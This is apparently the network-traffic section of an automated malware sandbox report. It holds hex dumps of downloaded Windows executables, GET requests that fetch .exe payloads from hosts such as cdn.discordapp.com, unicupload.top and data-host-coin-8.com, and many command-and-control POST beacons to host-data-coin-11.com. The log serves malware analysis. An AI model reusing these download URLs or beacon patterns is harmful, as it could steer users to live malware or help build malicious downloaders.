00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Fri, 14 Jan 2022 00:51:57 GMTContent-Type: application/octet-streamContent-Length: 357376Last-Modified: Thu, 13 Jan 2022 18:42:45 GMTConnection: keep-aliveETag: "61e072a5-57400"Expires: Fri, 21 Jan 2022 00:51:57 GMTCache-Control: max-age=604800Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 fd 75 73 5a 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 02 32 00 12 01 00 00 5e 04 00 00 00 00 00 00 10 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 b0 05 00 00 04 00 00 00 00 00 00 03 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c 71 01 00 c8 00 00 00 00 90 01 00 4c 16 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 74 01 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 63 6f 64 65 00 00 00 7e 38 00 00 00 10 00 00 00 3a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 65 78 74 00 00 00 42 d6 00 00 00 50 00 00 00 d8 00 00 00 3e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 a8 33 00 00 00 30 01 00 00 34 00 00 00 16 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 8c 17 00 00 00 70 01 00 00 12 00 00 00 4a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 4c 16 04 00 00 90 01 00 00 18 04 00 00 5c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Fri, 14 Jan 2022 00:52:05 GMTContent-Type: application/octet-streamContent-Length: 452096Last-Modified: Thu, 13 Jan 2022 18:37:45 GMTConnection: keep-aliveETag: "61e07179-6e600"Expires: Fri, 21 Jan 2022 00:52:05 GMTCache-Control: max-age=604800Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 23 15 67 78 67 74 09 2b 67 74 09 2b 67 74 09 2b b4 06 0a 2a 6d 74 09 2b b4 06 0c 2a eb 74 09 2b b4 06 0d 2a 73 74 09 2b 35 01 0c 2a 41 74 09 2b 35 01 0d 2a 76 74 09 2b 35 01 0a 2a 75 74 09 2b b4 06 08 2a 64 74 09 2b 67 74 08 2b 30 74 09 2b d2 01 0c 2a 66 74 09 2b d2 01 f6 2b 66 74 09 2b 67 74 9e 2b 66 74 09 2b d2 01 0b 2a 66 74 09 2b 52 69 63 68 67 74 09 2b 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 3a 54 e0 61 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0e 1d 00 d0 00 00 00 ec 0f 00 00 00 00 00 00 10 00 00 00 10 00 00 00 e0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 15 00 00 04 00 00 19 a2 03 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c ec 10 00 a4 00 00 00 00 20 0f 00 1d a2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4c 2d 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 10 00 00 00 76 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 60 00 00 00 e0 00 00 00 2a 00 00 00 7a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 e0 0d 00 00 40 01 00 00 0a 00 00 00 a4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 b0 01 00 00 20 0f 00 00 a4 01 00 00 ae 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 10 00 00 00 d0 10 00 00 00 00 00 00 52 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 64 61 74 61 00 00 00 00 a0 04 00 00 e0 10 00 00 94 04 00 00 52 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 61 64 61 74 61 00 00 00 10 00 00 00 80 15 00 00 00 00 00 00 e6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Fri, 14 Jan 2022 00:52:06 GMTContent-Type: application/octet-streamContent-Length: 2387648Last-Modified: Thu, 13 Jan 2022 20:11:19 GMTConnection: keep-aliveETag: "61e08767-246ec0"Expires: Fri, 21 Jan 2022 00:52:06 GMTCache-Control: max-age=604800Accept-Ranges: bytesData Raw: 4d 5a e2 15 17 e8 ec 6f ac 01 a3 67 88 27 b0 3a 07 28 33 98 08 dd 33 32 a2 e3 d0 db df 66 f6 e9 c8 9b f0 ce 43 27 42 7b 62 19 d6 e4 19 09 05 f6 16 cd 2b 9a c3 52 c6 c7 98 88 64 3a 00 01 00 00 0b 51 d1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 ca 5e 3d 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 64 3f 00 00 18 03 00 00 00 00 00 00 e0 42 00 00 20 00 00 00 a0 3f 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 44 00 00 04 00 00 6f 94 24 00 02 00 60 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 b0 3f 00 dc 01 00 00 00 c0 3f 00 14 17 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 65 64 61 74 61 00 00 00 a0 3f 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 2e 43 52 54 00 00 00 00 00 10 00 00 00 b0 3f 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 14 17 03 00 00 c0 3f 00 14 17 03 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 43 52 54 00 00 00 00 00 80 01 00 00 e0 42 00 17 79 01 00 00 1e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Fri, 14 Jan 2022 00:52:08 GMTContent-Type: application/octet-streamContent-Length: 535232Last-Modified: Thu, 13 Jan 2022 18:38:25 GMTConnection: keep-aliveETag: "61e071a1-82ac0"Expires: Fri, 21 Jan 2022 00:52:08 GMTCache-Control: max-age=604800Accept-Ranges: bytesData Raw: 4d 5a e2 15 17 e8 ec 6f ac 01 a3 67 88 27 b0 3a 07 28 33 98 08 dd 33 32 a2 e3 d0 db df 66 f6 e9 c8 9b f0 ce 43 27 42 7b 62 19 d6 e4 19 09 05 f6 16 cd 2b 9a c3 52 c6 c7 98 88 64 3a 00 01 00 00 0b 51 d1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 73 0f cc 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 3a 00 00 00 0a 04 00 00 00 00 00 00 a0 04 00 00 20 00 00 00 60 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 06 00 00 04 00 00 be bf 08 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 e4 01 00 00 00 90 00 00 ac 08 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 6c 73 00 00 00 00 00 70 00 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 2e 43 52 54 00 00 00 00 00 10 00 00 00 80 00 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 ac 08 04 00 00 90 00 00 ac 08 04 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 00 80 01 00 00 a0 04 00 11 7d 01 00 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /32739433.dat?iddqd=1 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.233.81.115
Source: global traffic	HTTP traffic detected: GET /attachments/903666793514672200/930134152861343815/Nidifying.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /abhF HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: goo.su
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://eluhjvhtyp.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 262Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://emuxpqdnbf.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 344Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ljorrgjfkl.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 285Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ivghosxexw.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 218Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fmqxhknv.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 211Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://eaqhepjim.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 364Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ckcxxwya.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 294Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gsvtvxnu.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 243Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/9030_1641816409_7037.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rqnivwkry.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 182Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://beyalftqp.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 226Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://iwnegpbc.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 305Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kpalcq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 358Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /downloads/toolspab3.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacy-tools-for-you-780.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pmwvdog.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 164Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wxuhgeswun.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 116Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /install5.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: unicupload.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tlniveqsge.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 207Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://skpuexjuhm.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 258Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qfxkjjoxmn.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 196Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tbhdksrnso.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 197Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mgvia.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 145Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nvvghfdc.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 279Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://eovdrp.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 238Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vjhru.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 334Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /6.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.7.214.171:8080
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lidqffqfi.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 116Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kywghhu.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 286Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pnyggup.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 350Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://envvqxpmtj.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 210Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gvultmec.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 149Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gueanmbmxp.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 316Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kblhoeewl.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 268Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cxgoyk.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 230Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cwnqgc.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 291Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ugtdnlexs.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 356Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uhdnsklbxa.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 351Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xywmfjcv.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 129Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://phflbicrwd.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 138Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ebgaalpj.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 139Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://iewbu.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 196Host: host-data-coin-11.com
